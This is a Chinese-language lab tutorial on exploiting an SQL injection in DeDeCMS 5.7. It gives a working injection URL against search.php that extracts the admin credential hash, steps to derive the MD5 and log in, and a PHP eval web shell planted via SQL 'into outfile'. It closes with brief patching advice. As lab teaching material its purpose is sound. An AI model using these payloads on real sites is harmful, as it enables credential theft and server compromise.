DeDeCMS5.7版本SQL注⼊漏洞利⽤
织梦cms模块实验声明:本实验教程仅供研究学习使⽤,请勿⽤于⾮法⽤途,违者⼀律⾃⾏承担所有风险!
DeDeCMS5.7版本SQL注⼊漏洞利⽤
实验⽬的
通过本实验理解DeDeCMS5.7版本存在SQL注⼊漏洞带来的危害,掌握针对漏洞的利⽤⽅法,熟悉CMS框架SQL注⼊漏洞的防护⽅法。
实验环境
渗透主机:win2k8
⽤户名: 360college
密码: 360College
⽬标靶机:cms-inject
⽤户名: college
密码: 360College
访问⽹站:IP:8081
实验步骤
第⼀步录⽬标靶机,启动⽹站服务
登录主机时,选择360college⽤户登录
1、启动phpstudy(桌⾯图标):
到程序启动位置
启动服务
启动成功时的表现
如果,显⽰不是两个绿⾊标志,则等待⼀会,按下重启按钮,再次尝试。
第⼆步渗透平台上访问⽬标⽹站
(1)打开云主机,输⼊密码360College登录靶机(选择第⼆个college⽤户)
第三步利⽤SQL注⼊漏洞进⾏漏洞利⽤
(1)⾸先访问“/data/”页⾯获取系统最后升级时间,(判断是否是dede的cms 以及看看是否和这个漏洞相对应)返回内容:(2)访问“/member/ajax_membergroup.php?action=post&membergroup=1”页⾯,若返回内容:
表明可以进⾏SQL注⼊。
(3)利⽤SQL注⼊POC进⾏漏洞利⽤
执⾏后的效果为直接暴出⽤户名、密码。
与密码相关的信息细节如下
其实,在search.php页⾯,也存在注⼊漏洞。
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),
(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
执⾏结果如下:
即可得到管理员⽤户名和密码散列值。经查询,密码为admin360。
(此处得到的散列值,可能不⼀样,但是,查询到的密码值是⼀样的)
注意:很多从⽹上直接复制过来的POC,直接粘贴在地址栏,⽆法攻击成功。原因在于,复制过来的内容⾥⾯添加了很多回车符号切记,要放在word⾥⾯,去掉回车符号,成为⼀句话,才可以的。
重要说明:得到的是20位的散列值,去掉前三位和最后⼀位,得到管理员的16位MD5值。 dedecms织梦管理员的密码使⽤了MD5_16加密算法加密后经过运算⽣成⼀个20位的字符串。这个密⽂是⽤密码通过32位的MD5加密规则,再去除前5位后7位⽽产⽣的。32位密⽂转换成16位,其实就是取中间的16位。也就是说要在前⾯和后⾯分别去除8位。那么在20位密⽂中,只需要去除前3位和最后1位,就可以得到16位密⽂了。
以获取的⼝令密码登录成功
问题与解决:如果登录页⾯为空,则在服务器端,将php版本切换为5.3.29+apache。重启后,进⾏登录实验。
#2、漏洞的其他利⽤⽅式
转换思路,可利⽤phpmyadmin数据库上传⼩马。
于是,利⽤Havij 利⽤phpmyadmin执⾏sql命令:
select '<?php eval($_POST[cmd]);?>' into outfile 'D:/WWW/Dedecms57/install/insta11.php'
在mysql的data⽬录下,⽣成insta11.php,然后⽤菜⼑连接。
(具体过程,可参考phpcms漏洞利⽤实验)
实验总结
针对此漏洞的解决⽅案:升级DedeCms ⾄最新版;增加“membergroup”参数过滤。
所以,建议,⽹站运维⼈员,要密切关注产品⼚商信息,及时升级到最新版本。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论